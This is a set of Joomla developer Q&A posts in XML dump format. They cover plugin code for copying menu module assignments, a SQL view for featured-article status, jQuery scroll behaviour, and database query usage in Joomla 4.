  <row Id="32816" PostTypeId="1" CreationDate="2023-02-26T15:10:27.220" Score="0" ViewCount="56" Body="&lt;p&gt;I am trying to create a Joomla 4 Plugin that copies a menu item with its module assignments. My code works well on J3, but not J4. What am I missing?&lt;/p&gt;&#xA;&lt;p&gt;Here is my plugin's code:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/**&#xA; * @package     Joomla.Plugin&#xA; * @subpackage  Content.CopyModuleAssignments&#xA; * @since       4.0&#xA; *&#xA; * @copyright   Copyright (C) 2022&#xA; * @license     GNU General Public License version 2 or later; see LICENSE.txt&#xA; */&#xA;&#xA;declare(strict_types=1);&#xA;&#xA;namespace Joomla\Plugin\Content;&#xA;&#xA;use Joomla\CMS\Factory;&#xA;use Joomla\CMS\Plugin\CMSPlugin;&#xA;use Joomla\CMS\Table\Table;&#xA;use Joomla\Registry\Registry;&#xA;&#xA;/**&#xA; * Copy Module Assignments Plugin&#xA; */&#xA;class CopyModuleAssignmentsPlugin extends CMSPlugin&#xA;{&#xA;    /**&#xA;     * Plugin that copies module assignments from original to new menu item when using &amp;quot;Save as copy&amp;quot;&#xA;     *&#xA;     * @param   string   $context  The context of the content being passed to the plugin.&#xA;     * @param   Table    $table    An object with a &amp;quot;text&amp;quot; property&#xA;     * @param   bool     $isNew    True if this item is being created.&#xA;     *&#xA;     * @return  bool     True on success.&#xA;     */&#xA;    public function onContentAfterSave(string $context, Table $table, bool $isNew): bool&#xA;    {&#xA;        // Return if invalid context&#xA;        if ($context !== 'com_menus.item')&#xA;        {&#xA;            return true;&#xA;        }&#xA;&#xA;        // Return if items is not a product of &amp;quot;Save as copy&amp;quot;&#xA;        if (!($table-&amp;gt;get('_location_id') &amp;gt; 1 &amp;amp;&amp;amp; $isNew === false))&#xA;        {&#xA;            return true;&#xA;        }&#xA;&#xA;        // Get the database object&#xA;        $db = Factory::getDbo();&#xA;&#xA;        // Find all assigned modules&#xA;        $query1 = $db-&amp;gt;getQuery(true)&#xA;            -&amp;gt;select($db-&amp;gt;quoteName('moduleid'))&#xA;            -&amp;gt;from($db-&amp;gt;quoteName('#__modules_menu'))&#xA;            -&amp;gt;where($db-&amp;gt;quoteName('menuid') . ' = ' . $table-&amp;gt;get('_location_id'));&#xA;&#xA;        $db-&amp;gt;setQuery($query1);&#xA;        $modules = (array) $db-&amp;gt;loadColumn();&#xA;&#xA;        // Assign all found modules to copied menu item&#xA;        if (!empty($modules))&#xA;        {&#xA;            foreach ($modules as $mid)&#xA;            {&#xA;                $mdl = new \stdClass();&#xA;                $mdl-&amp;gt;moduleid = $mid;&#xA;                $mdl-&amp;gt;menuid = $table-&amp;gt;get('id');&#xA;                $db-&amp;gt;insertObject('#__modules_menu', $mdl);&#xA;            }&#xA;        }&#xA;&#xA;        // Check if menu item is on the assign to all except list&#xA;        $query2 = $db-&amp;gt;getQuery(true)&#xA;            -&amp;gt;select($db-&amp;gt;quoteName('moduleid'))&#xA;            -&amp;gt;from($db-&amp;gt;quoteName('#__modules_menu'))&#xA;            -&amp;gt;where($db-&amp;gt;quoteName('menuid') . ' = -' . $table-&amp;gt;get('_location_id'));&#xA;&#xA;        $db-&amp;gt;setQuery($query2);&#xA;        $modulesExcept = (array) $db-&amp;gt;loadColumn();&#xA;&#xA;        // Add menu item to the exception list for all modules that have the original one in there&#xA;        if (!empty($modulesExcept))&#xA;        {&#xA;            foreach ($modulesExcept as $mid)&#xA;            {&#xA;                $mdl = new \stdClass();&#xA;                $mdl-&amp;gt;moduleid = $mid;&#xA;                $mdl-&amp;gt;menuid = $table-&amp;gt;get('id') * -1;&#xA;                $db-&amp;gt;insertObject('#__modules_menu', $mdl);&#xA;            }&#xA;        }&#xA;&#xA;        return true;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="16045" LastEditorUserId="12352" LastEditDate="2023-02-26T22:31:29.200" LastActivityDate="2023-02-26T22:31:29.200" Title="Plugin That Copies Menu Item With Its Module Assignments Does Not Work on Joomla 4" Tags="|module|content-plugin|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="32817" PostTypeId="2" ParentId="32815" CreationDate="2023-02-26T22:35:46.847" Score="0" Body="&lt;p&gt;I suppose you want it with an override but if not really needed you can do easily with Article Anywhere plug-in and [count] info ;-)&lt;/p&gt;&#xA;" OwnerUserId="12928" LastActivityDate="2023-02-26T22:35:46.847" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="32820" PostTypeId="2" ParentId="32815" CreationDate="2023-02-27T12:03:30.330" Score="0" Body="&lt;p&gt;I've added &lt;code&gt;count($items);&lt;/code&gt; in the loop to get the number of items:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;        &amp;lt;div class=&amp;quot;ms-3 mod-articles-category-group fs-3 fw-bold&amp;quot;&amp;gt;&amp;lt;?php echo Text::_($groupName); ?&amp;gt;                &#xA;            &amp;lt;span class=&amp;quot;ps-3 text-muted fw-light fs-5&amp;quot;&amp;gt;&amp;lt;?php echo count($items); ?&amp;gt; articles&amp;lt;/span&amp;gt;                 &#xA;        &amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="11354" LastEditorUserId="-1" LastEditDate="2023-03-01T06:44:01.153" LastActivityDate="2023-03-01T06:44:01.153" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="32821" PostTypeId="2" ParentId="32783" CreationDate="2023-02-27T17:07:35.020" Score="1" Body="&lt;p&gt;Firstly: the reason for the white page errors was that I was putting the code into the wrong file. Instead of adding it to blog_item.php it should be in blog.php. It worked once I'd moved the code.&lt;/p&gt;&#xA;&lt;p&gt;Secondly, I then realised I didn't need the code in the blog at all (Joomla handles the display of featured/not featured/both in blogs just fine), I needed it in the actual full article view (reason at the bottom).&lt;/p&gt;&#xA;&lt;p&gt;So, if anyone else wants to know how to do this - i.e. indicate whether an article is actively, currently featured, not pending or expired - this is what I did:&lt;/p&gt;&#xA;&lt;p&gt;In phpMyAdmin, I created a view with SQL, combining #__content and #__content_frontpage as well as adding a new column:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;CREATE OR REPLACE VIEW #_content_with_featured AS &#xA;SELECT #_content.id AS f_id,#_content.title,#_content.featured,#_content_frontpage.featured_up,#_content_frontpage.featured_down,&#xA;(CASE&#xA;WHEN #_content.featured = '0' THEN 'no'&#xA;WHEN #_content.featured = '1' AND #_content_frontpage.featured_up &amp;gt; NOW() THEN 'no'&#xA;WHEN #_content.featured = '1' AND #_content_frontpage.featured_down &amp;lt; now() THEN 'no'&#xA;WHEN #_content.featured = '1' AND #_content_frontpage.featured_down IS NULL AND #_content_frontpage.featured_up &amp;lt; NOW() THEN 'yes'&#xA;WHEN #_content.featured = '1' AND #_content_frontpage.featured_up IS NULL AND #_content_frontpage.featured_down &amp;gt; NOW() THEN 'yes' &#xA;WHEN #_content.featured = '1' AND #_content_frontpage.featured_up IS NULL AND #_content_frontpage.featured_down IS NULL THEN 'yes'&#xA;END)&#xA;AS f_current&#xA;FROM #_content&#xA;LEFT JOIN #_content_frontpage ON #_content.id = #_content_frontpage.content_id&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Note:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;In your database query you need to use the table prefix instead of&#xA;the # as you may have more than one table prefix in your database.&lt;/li&gt;&#xA;&lt;li&gt;Using 'OR REPLACE' in the first line allows you to tweak and re-run&#xA;the query, which overwrites the previous view, in case you want to&#xA;add or remove further columns.&lt;/li&gt;&#xA;&lt;li&gt;Using a view means that any additions/deletions/modifications to the&#xA;original two tables are dynamically updated. This would not happen&#xA;if you created a new table instead. Additionally, if you name the&#xA;view with the same prefix as your database tables, this enables you&#xA;to query the view in Joomla.&lt;/li&gt;&#xA;&lt;li&gt;In Joomla, you don't need to use the table prefix as Joomla knows&#xA;the prefix as it's in your Global Configuration.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;I changed this code in an article override html/com_content/article/default.php on line 54:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;div class=&amp;quot;page-header&amp;quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;to:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&amp;quot;page-header cf-&amp;lt;?php&#xA;$db = JFactory::getDbo();&#xA;$query = $db-&amp;gt;getQuery(true);&#xA;$query-&amp;gt;select($db-&amp;gt;quoteName('f_current'))&#xA;    -&amp;gt;from($db-&amp;gt;quoteName('#__content_with_featured'))&#xA;    -&amp;gt;where($db-&amp;gt;quoteName('f_id') . &amp;quot; = &amp;quot; . $articleId);&#xA;$db-&amp;gt;setQuery($query);&#xA;$result = $db-&amp;gt;loadResult(); &#xA;      echo $result;&#xA;?&amp;gt;&amp;quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;which produces a new line of code that looks like this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&amp;quot;page-header cf-no&amp;quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;or&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&amp;quot;page-header cf-yes&amp;quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The reason for doing this? My client has two menu items for events using the same category. One for future events - which are currently featured - and one for past events with reports added to the original articles but whilst still technically 'featured', they are 'expired'. Because they are all the same category, when clicking through to a full article display, they all have the same category root. So, while the blog items' URLs might be /diary/future and /diary/reports, all the articles go to /diary/future/[article]. I wanted article category modules (one listing future events and the other listing event reports) to be displayed in the sidebar on the article page depending on whether the article being viewed was a future event or a report. As all the articles are classed as featured, even if they are pending or expired, then I couldn't use the 'featured' field from #__content to control the display. I needed it based on the 'featured_up' and 'featured_down' dates as well.&lt;/p&gt;&#xA;&lt;p&gt;I added both modules to the /events/future menu item and added a class of 'events' to the menu item. The 'future' module had a module class of 'future' added and the 'reports' module had a class of 'reports' added. Then the display (or not) of either sidebar module on the article pages is controlled with a little bit of JavaScript, which also hides the modules on the parent blog items:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;if (document.querySelector(&amp;quot;.events&amp;quot;)) {&#xA;    let blogModOne = document.querySelector(&amp;quot;.rightsidebar&amp;quot;);&#xA;    if (document.querySelector(&amp;quot;.blog-items&amp;quot;)) {&#xA;        blogModOne.classList.add(&amp;quot;d-none&amp;quot;);&#xA;    }&#xA;    else if ((document.querySelector(&amp;quot;.item-page&amp;quot;)) &amp;amp;&amp;amp; (document.querySelector(&amp;quot;.featured-0&amp;quot;))) {&#xA;        let modOne = document.querySelector(&amp;quot;.sidebarright.future&amp;quot;);&#xA;        modOne.classList.add(&amp;quot;d-none&amp;quot;);&#xA;    }&#xA;    else if ((document.querySelector(&amp;quot;.item-page&amp;quot;)) &amp;amp;&amp;amp; (document.querySelector(&amp;quot;.featured-1&amp;quot;))) {&#xA;        let modTwo = document.querySelector(&amp;quot;.sidebarright.reports&amp;quot;);&#xA;        modTwo.classList.add(&amp;quot;d-none&amp;quot;);&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13040" LastEditorUserId="12352" LastEditDate="2023-02-27T23:32:45.570" LastActivityDate="2023-02-27T23:32:45.570" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32822" PostTypeId="1" AcceptedAnswerId="32826" CreationDate="2023-02-28T00:12:08.983" Score="1" ViewCount="410" Body="&lt;p&gt;I'm working on a J3 site which I've had to use quite a bit of custom html/js code. I've reached a 'can't see the wood for the tree's moment'. Joomla and PHP I can do, jQuery - my old brain doesn't seem to understand.&lt;/p&gt;&#xA;&lt;p&gt;I have a function which scrolls to a 'div'. The div moves position depending on screensize, on desktops/larger screens it is on the right hand side, smaller screens it moves below. When clicking on a link, it shows the related information in the div.&lt;/p&gt;&#xA;&lt;p&gt;The code I have working just scrolls to the top of the 'div', perfect on mobiles but on desktops my client has asked for the scroll to be to the top of the page rather than the div.&lt;/p&gt;&#xA;&lt;p&gt;The page can be viewed &lt;a href=&quot;http://bit.ly/3Z6puhA&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;My jQuery is:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;jQuery(document)&#xA;  .on(&amp;quot;click&amp;quot;, &amp;quot;.timeline-pills .timeline-element&amp;quot;, function(e) {&#xA;    e.preventDefault();&#xA;    const currentElement = $(this);&#xA;    const dataTarget = currentElement.data(&amp;quot;target&amp;quot;);&#xA;&#xA;    const dataTargetElem = $(&amp;quot;div.timeline-info#&amp;quot; + dataTarget);&#xA;    $(&amp;quot;.timeline-pills .timeline-element&amp;quot;).removeClass(&amp;quot;active&amp;quot;);&#xA;    currentElement.addClass(&amp;quot;active&amp;quot;);&#xA;&#xA;    $(&amp;quot;.timeline-info&amp;quot;).hide();&#xA;    dataTargetElem.show();&#xA;  });&#xA;&#xA;    &#xA;// Scroll to section&#xA;jQuery(document).on('click', '.scrollTo', function(e) {&#xA;  e.preventDefault();&#xA;  // target element id&#xA;  const id = $(this).attr('href');&#xA;  // target element&#xA;  const $id = $(id);&#xA;  if ($id.length = 0) {&#xA;    return;&#xA;  }&#xA;  // top position relative to the document&#xA;  const pos = $id.offset().top;&#xA;  // animated top scrolling&#xA;  $('body, html').animate({&#xA;    scrollTop: pos&#xA;  });&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The media query which switches the layout is:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;@media only screen and (max-width: 768px) {&#xA;    .home .hp-vt-image, .home.timeline-pills {&#xA;        width:50%;&#xA;    }&#xA;    .home .service:not(:last-child):before {&#xA;        left:74%;&#xA;        padding:72px 0;&#xA;        margin-top:-43px;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Any help is much appreciated.&lt;/p&gt;&#xA;&lt;p&gt;Signing off as a very exhausted dev.&lt;/p&gt;&#xA;" OwnerUserId="7973" LastActivityDate="2023-03-02T15:19:30.427" Title="Change JS/jQuery Scroll function based on screensize" Tags="|joomla-3.x|jquery|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="32823" PostTypeId="2" ParentId="30276" CreationDate="2023-02-28T08:17:08.833" Score="0" Body="&lt;pre&gt;&#xA;require_once(JPATH_ADMINISTRATOR.'/components/com_j2store/helpers/j2store.php');&#xA;$product = F0FTable::getAnInstance('Product', 'J2StoreTable')-&gt;getClone();&#xA;if($product-&gt;get_product_by_source('com_content', $this-&gt;item-&gt;id)) {&#xA;        //return what you want for example      &#xA;        echo $product-&gt;j2store_product_id;&#xA;}&#xA;&lt;/pre&gt; &#xA;" OwnerUserId="2160" LastActivityDate="2023-02-28T08:17:08.833" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32825" PostTypeId="2" ParentId="22866" CreationDate="2023-02-28T17:37:48.937" Score="2" Body="&lt;p&gt;Based on chavab_1's answer, this answer uses Joomla's interface to create the html and adds a date dynamically when a button is clicked. I left the id field blank as it doesn't seem to be required for the calendar to work.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;jQuery('#add_date').click(function()&#xA;{&#xA;&#xA;cal_html = &amp;lt;?php echo json_encode(JHTML::calendar(date(&amp;quot;m-d-Y&amp;quot;),'custcal[]', '', '%m-%d-%Y',array('size'=&amp;gt;'8','maxlength'=&amp;gt;'10','class'=&amp;gt;' validate[\'required\']',))); ?&amp;gt;;&#xA;&#xA;jQuery('#datelist').append(cal_html);&#xA;&#xA;JoomlaCalendar.init((jQuery('#datelist .field-calendar').last())[0]); &#xA;&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="16933" LastActivityDate="2023-02-28T17:37:48.937" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="32826" PostTypeId="2" ParentId="32822" CreationDate="2023-02-28T19:30:08.487" Score="2" Body="&lt;p&gt;This question is not particularly a Joomla question but a jQuery/HTML one, so I am not sure this should be included and answered here in JSE as a question. Probably this could get much more answers at Stack Overflow. As I understood your issue more, you are just looking for an additional jQuery/Javascript snippet, something like this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;jQuery(document).on('click', '.scrollTo', function(e)  {&#xA;   if ($(window).width() &amp;gt; 1025) {&#xA;       $('html, body').animate({scrollTop: 0}, 'slow');&#xA;   }&#xA;   else {&#xA;       // scroll to the content top as it does now...&#xA;   }&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This snippet is just checking the window width and we just target landscape laptops, desktop, tablets at high res devices. If someone clicks on the &lt;code&gt;.scrollTo&lt;/code&gt; class buttons and using these bigger screen sizes, then the whole body will scroll back to the top. Otherwise your old jQuery snippet would run on mobile screen sizes... (in the code I just use a regularly used screen size, however in Bootstrap &lt;code&gt;col-lg&lt;/code&gt; is breaking at ≥992px, so it can be changed/used too in the code).&lt;/p&gt;&#xA;&lt;p&gt;The combined, cleaner jQuery snippet would look something like this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;jQuery(function($) {&#xA;    $(&amp;quot;.timeline-pills .timeline-element&amp;quot;).on(&amp;quot;click&amp;quot;, function(e) {&#xA;        e.preventDefault();&#xA;        const currentElement = $(this);&#xA;        const dataTarget = currentElement.data(&amp;quot;target&amp;quot;);&#xA;        const dataTargetElem = $(&amp;quot;div.timeline-info#&amp;quot; + dataTarget);&#xA;        $(&amp;quot;.timeline-pills .timeline-element&amp;quot;).removeClass(&amp;quot;active&amp;quot;);&#xA;        currentElement.addClass(&amp;quot;active&amp;quot;);&#xA;&#xA;        $(&amp;quot;.timeline-info&amp;quot;).hide();&#xA;        dataTargetElem.show();&#xA;    &#xA;        const pos = dataTargetElem.offset().top;&#xA;&#xA;        if ($(window).width() &amp;gt; 992) {&#xA;            $(&amp;quot;html, body&amp;quot;).animate({scrollTop: 0}, 'slow');&#xA;        }&#xA;        else {&#xA;            $(&amp;quot;html, body&amp;quot;).animate({&#xA;                scrollTop: pos&#xA;            });&#xA;        }&#xA;    });&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;in case it matters for you, you can change this line in the above code, just to keep the nicer top-margin of the content on mobile views:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;const pos = $(&amp;quot;.timeline-info-panels&amp;quot;).offset().top;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;strong&gt;only side note&lt;/strong&gt;: The jQuery code you provided in your question must be cleaned up much more from the &lt;code&gt;// Scroll to section&lt;/code&gt; part. The &lt;code&gt;const id&lt;/code&gt; must be defined correctly, but it looks like that part is not needed at all in the code... (I did not fully understand that part of the code but this is how I understood the purpose of it ).&#xA;So, I just wanted to help you in pushing this a little further. :)&lt;/p&gt;&#xA;" OwnerUserId="12524" LastEditorUserId="12524" LastEditDate="2023-03-02T15:19:30.427" LastActivityDate="2023-03-02T15:19:30.427" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32827" PostTypeId="1" CreationDate="2023-02-28T21:16:49.330" Score="0" ViewCount="37" Body="&lt;p&gt;My website was made in Joomla 1.5 and transferred from previous host.&lt;/p&gt;&#xA;&lt;p&gt;How would I reinstall Joomla on Hostgator and edit the website without breaking it?&lt;/p&gt;&#xA;&lt;p&gt;Are there any tips or a tutorial video to help me through this?&lt;/p&gt;&#xA;" OwnerUserId="16934" LastEditorUserId="12352" LastEditDate="2023-03-01T06:47:00.980" LastActivityDate="2023-03-01T06:47:00.980" Title="How to reinstall Joomla 1.5 site on Hostgator without breaking it?" Tags="|installation|joomla-1.5|hosting|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="32829" PostTypeId="1" AcceptedAnswerId="32830" CreationDate="2023-03-01T15:26:27.787" Score="1" ViewCount="117" Body="&lt;p&gt;Very simple query:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;    $query = $db-&amp;gt;getQuery(true)&#xA;        -&amp;gt;select('*')&#xA;        -&amp;gt;from('#__mail_templates')&#xA;        -&amp;gt;where('template_id = ' . $db-&amp;gt;quote($this-&amp;gt;getRowId()))&#xA;        -&amp;gt;where('language = ' . $db-&amp;gt;quote($languageCode));&#xA;    $rows = $db-&amp;gt;loadObjectList($query);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;For some ungodly reason, $rows has index &amp;quot;&amp;quot;, empty string. Using Joomla 4.2. I hope this is not intended behaviour??&lt;/p&gt;&#xA;&lt;p&gt;var dump:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;array(1) {&#xA;  [&amp;quot;&amp;quot;]=&amp;gt;&#xA;  object(stdClass)#218 (14) {&#xA;    [&amp;quot;lang_id&amp;quot;]=&amp;gt;&#xA;    int(2)&#xA;    [&amp;quot;asset_id&amp;quot;]=&amp;gt;&#xA;    int(66692)&#xA;    [&amp;quot;lang_code&amp;quot;]=&amp;gt;&#xA;    string(5) &amp;quot;de-DE&amp;quot;&#xA;    ...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Oh, I see now that the result is not coming from the correct table even.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;#message: &amp;quot;Unknown fetch type '8'&amp;quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7077" LastActivityDate="2023-03-07T22:21:14.963" Title="loadObjectList() returns array indexed by empty string" Tags="|database|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="32830" PostTypeId="2" ParentId="32829" CreationDate="2023-03-01T15:32:19.437" Score="1" Body="&lt;p&gt;Meh. Buggy line should be&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$rows = $db-&amp;gt;setQuery($query)-&amp;gt;loadObjectList();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;A warning would have been nice...&lt;/p&gt;&#xA;" OwnerUserId="7077" LastActivityDate="2023-03-01T15:32:19.437" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="32831" PostTypeId="2" ParentId="30342" CreationDate="2023-03-01T16:08:40.517" Score="1" Body="&lt;p&gt;You can use this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;use Joomla\CMS\Factory;&#xA;$app = Factory::getApplication();&#xA;$document = $app-&amp;gt;getDocument();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Or this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;use Joomla\CMS\Factory;&#xA;use Joomla\CMS\Document\FactoryInterface;&#xA;$container = Factory::getApplication()-&amp;gt;getContainer();&#xA;$documentFactory = $container-&amp;gt;get(FactoryInterface::class);&#xA;$document = $documentFactory-&amp;gt;getDocument();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;You may notice there's an &amp;quot;Undefined method&amp;quot; error in Intelephense despite it being defined and valid.&lt;/p&gt;&#xA;" OwnerUserId="16936" LastEditorUserId="16936" LastEditDate="2023-03-01T16:20:27.910" LastActivityDate="2023-03-01T16:20:27.910" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32833" PostTypeId="1" AcceptedAnswerId="32836" CreationDate="2023-03-03T00:54:32.003" Score="1" ViewCount="149" Body="&lt;p&gt;I'm inserting an object in a database table using joomla 4, as per &lt;a href=&quot;https://docs.joomla.org/Inserting,_Updating_and_Removing_data_using_JDatabase#Using_an_Object&quot; rel=&quot;nofollow noreferrer&quot;&gt;joomla docs&lt;/a&gt;:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$toInsert = new stdClass();&#xA;$toInsert-&amp;gt;update_timestamp = 'NOW()';&#xA;$toInsert-&amp;gt;id = null;&#xA;&#xA;$db = Factory::getContainer()-&amp;gt;get('DatabaseDriver');&#xA;$db-&amp;gt;insertObject('table', $toInsert, 'id');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;However, that results in&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Incorrect datetime value: 'NOW()' for column 'update_timestamp' at row&#xA;1&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;How do I use NOW() using insertObject()?&lt;/p&gt;&#xA;" OwnerUserId="3948" LastActivityDate="2023-03-13T21:14:56.260" Title="How to use NOW() with DatabaseDriver-&gt;insertObject()" Tags="|joomla-4.x|mysql|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32834" PostTypeId="2" ParentId="32833" CreationDate="2023-03-03T04:18:32.787" Score="3" Body="&lt;p&gt;If you are going to insert a row into the database &lt;a href=&quot;https://docs.joomla.org/Inserting,_Updating_and_Removing_data_using_JDatabase#Using_an_Object&quot; rel=&quot;nofollow noreferrer&quot;&gt;using an object&lt;/a&gt;, you are going to need to pass in values that do not leverage SQL functions.  &lt;code&gt;insertObject()&lt;/code&gt; will treat the object's payload as literal values for security/stability.&lt;/p&gt;&#xA;&lt;p&gt;Another bit of magic is that you must not try to declare a &lt;code&gt;null&lt;/code&gt; value in your object's payload.  Instead, you should omit the property from the object entirely if you wish &lt;code&gt;NULL&lt;/code&gt; to be added for a given database table column.&lt;/p&gt;&#xA;&lt;p&gt;I don't see anywhere in the &lt;code&gt;insertObject()&lt;/code&gt; method's argument signature to allow SQL keywords/functions to be rendered. Unless someone else knows better than me, this means you should use PHP's datetime capabilities to populate the current time.&lt;/p&gt;&#xA;&lt;p&gt;That said, I think my best advice is to set the column's default value to the current datetime. This way you never need to mention the column when you build an insert object.&lt;/p&gt;&#xA;&lt;p&gt;A &amp;quot;TRIGGER&amp;quot; can be helpful if you want update &lt;code&gt;update_timestamp&lt;/code&gt; after every change made.&lt;/p&gt;&#xA;&lt;p&gt;Maybe these will inspire:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://stackoverflow.com/q/23540354/2943403&quot;&gt;MySQL insert with the current timestamp&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://stackoverflow.com/q/168736/2943403&quot;&gt;How do you set a default value for a MySQL Datetime column?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://stackoverflow.com/q/6283821/2943403&quot;&gt;How to set default value of MySQL DateTime ( not TIMESTAMP ) to NOW() or Current_DateTIme?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="12352" LastEditorUserId="12352" LastEditDate="2023-03-13T21:14:56.260" LastActivityDate="2023-03-13T21:14:56.260" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32835" PostTypeId="1" CreationDate="2023-03-03T12:41:30.910" Score="1" ViewCount="192" Body="&lt;p&gt;Is it possible to have a plugin that redirects the user to a specific page after log in? (instead of using the normal login module or menu item?)&lt;/p&gt;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="16935" LastActivityDate="2023-07-31T19:08:16.030" Title="Plugin to redirect after login" Tags="|login|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="32836" PostTypeId="2" ParentId="32833" CreationDate="2023-03-03T14:59:20.497" Score="1" Body="&lt;p&gt;I ended up using arrays to compose the sql query, as per this alternative mentioned in the &lt;a href=&quot;https://docs.joomla.org/Inserting,_Updating_and_Removing_data_using_JDatabase#Using_SQL&quot; rel=&quot;nofollow noreferrer&quot;&gt;joomla docs&lt;/a&gt;, which works fine:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$columns = array('update_timestamp');&#xA;$values = array('NOW()');&#xA;$db = Factory::getContainer()-&amp;gt;get('DatabaseDriver');&#xA;$query = $db-&amp;gt;getQuery(true); &#xA;$query-&amp;gt;insert($db-&amp;gt;quoteName('table'))&#xA;      -&amp;gt;columns($db-&amp;gt;quoteName($columns))&#xA;      -&amp;gt;values(implode(',', $values));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3948" LastActivityDate="2023-03-03T14:59:20.497" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="32837" PostTypeId="2" ParentId="32835" CreationDate="2023-03-03T17:47:48.020" Score="1" Body="&lt;p&gt;Of course you can ! Look on the event where you can add events&#xA;&lt;a href=&quot;https://docs.joomla.org/Special:MyLanguage/Plugin/Events/User#onUserLogin&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Special:MyLanguage/Plugin/Events/User#onUserLogin&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="16374" LastActivityDate="2023-03-03T17:47:48.020" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
